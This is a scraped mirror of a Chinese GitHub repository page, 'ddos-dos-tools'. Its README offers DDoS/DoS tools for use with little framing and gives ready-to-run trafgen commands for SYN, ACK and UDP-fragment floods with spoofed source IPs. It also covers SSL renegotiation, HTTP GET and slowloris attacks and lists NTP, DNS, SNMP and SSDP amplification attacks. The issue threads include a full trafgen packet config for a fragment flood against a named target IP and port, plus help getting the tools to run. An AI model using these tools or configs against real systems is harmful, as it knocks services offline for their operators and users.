Coder Social home page Coder Social logo

ddos-dos-tools's Introduction

DDos/DoS工具集

本仓库包含了多类DDoS/DoS工具,自己已使用到实际的攻击测试中...

技术交流QQ群: 635806352(加群请备注仓库链接)

1. SynFlood 攻击

借助netsniff-ng套件中的trafgen工具,其可伪造源ip发起DDoS攻击

  • trafgen是一款高速的,多线程数据包生成器,官方测试显示其速度可达到12Mpps,自己在Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz下测得的发包速率有500Mbit/s多。通过对比其他开源程序,本工具的发包性能是自己测试中性能表现最高的。
  • synflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose即可发起synflood攻击
  • 通过添加trafgen命令行参数--gap修改发包的速率,具体请man trafgen
  • 对应工具可直接通过在线源进行安装,CentOS下yum install netsniff-ng即可安装整个套件,其中包含trafgen等工具。(预先可能需安装fedora源,yum install epel-release.noarch -y

2. AckFlood 攻击

同SynFlood类似

  • ackflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose即可发起ackflood攻击

3. SSL 攻击

  • thc-ssl-dos是一款有名的ssl攻击程序,原理是ssl重新协商机制,但对于关闭了的或不支持SSL重协商的服务端,该工具将失效。
  • ssl-dos.sh是自己写的一个简单的ssl攻击脚本,且适用于不支持ssl重协商的服务端,该脚本借助的是openssl工具。

4. HTTP GET 攻击

  • http-get-dos是一个简单的、高性能HTTP GET DOS工具,可自定义HTTP请求头、连接数、总的HTTP请求数等
  • 进入目录下make编译后,http-get-dos -h 查看使用信息

5. HTTP 慢速攻击

  • pyloris是一款开源的HTTP慢速DOS攻击软件,本版本为3.2版本,详情见主页,含图形界面,使用很方便

6. UDP fragment 攻击

同SynFlood类似

  • small_frag.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行trafgen --cpp --dev eth0 --conf small_frag.trafgen --cpu 2 --verbose即可发起UDP fragment DoS attack攻击

7. DoS放大攻击

  • NTP DoS 基于NTP协议的DoS放大攻击
  • DNS DoS 基于DNS协议的DoS放大攻击
  • SNMP DoS 基于SNMP协议的DoS放大攻击
  • SSDP DoS 基于SSDP协议的DoS放大攻击

ddos-dos-tools's People

Contributors

codeshold avatar qinsir avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ddos-dos-tools's Issues

question

image
image
选择了syn 但为啥都是ack 呢

command : trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose

大佬请问攻击udp是这样修改的吗

假设攻击ip为1.1.1.1 端口为10001
`

  • Command example:
  • trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
  • Note: dynamic elements "drnd()" make trafgen slower
    */
    // trafgen packet conf for fragment DoS attack
    // -------------------------------------------
    // - Need to randomize the frag ID
    // - Use trafgen support for dynamic checksum recalc
    //
    // Checksum cannot be fixed with iptables:
    // iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
    // Because traffic is injected a place which don't have any NF hooks
    //

{
// --- Ethernet Header ---
0x00, 0x1b, 0x21, 0x3c, 0x9d, 0xf8, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol

// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),

// ID, notice runtime dynamic random
drnd(2),

// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,

64, //TTL
17, // Proto UDP

// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),

192, 168, 51, 1, // Source IP
1, 1, 1, 1, // Dest IP

// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(10001), // dst port
const16(20), // UDP length

// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),

// Payload
'A', fill(0x41, 11),
}`

大佬请问是这样改的吗
感激不尽

运行报错问题

总是报配置文件这个地方错误。
报错信息:Syntax error at line7, at char 'E'! syntax error, unexpected number!
对应的配置文件错误行:const16(ETH_P_IP),

trafgen 的版本是多少

在使用你的模板去运行trafgen --cpp --dev em2 --conf synflood.trafgen --verbose 的时候,会出现错误
trafgen: unrecognized option '--cpp',请问一下你的trafgen版本是多少

关于http_get_dos

运行的时候提示:Cannot detect the transfer mode这个是什么原因?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.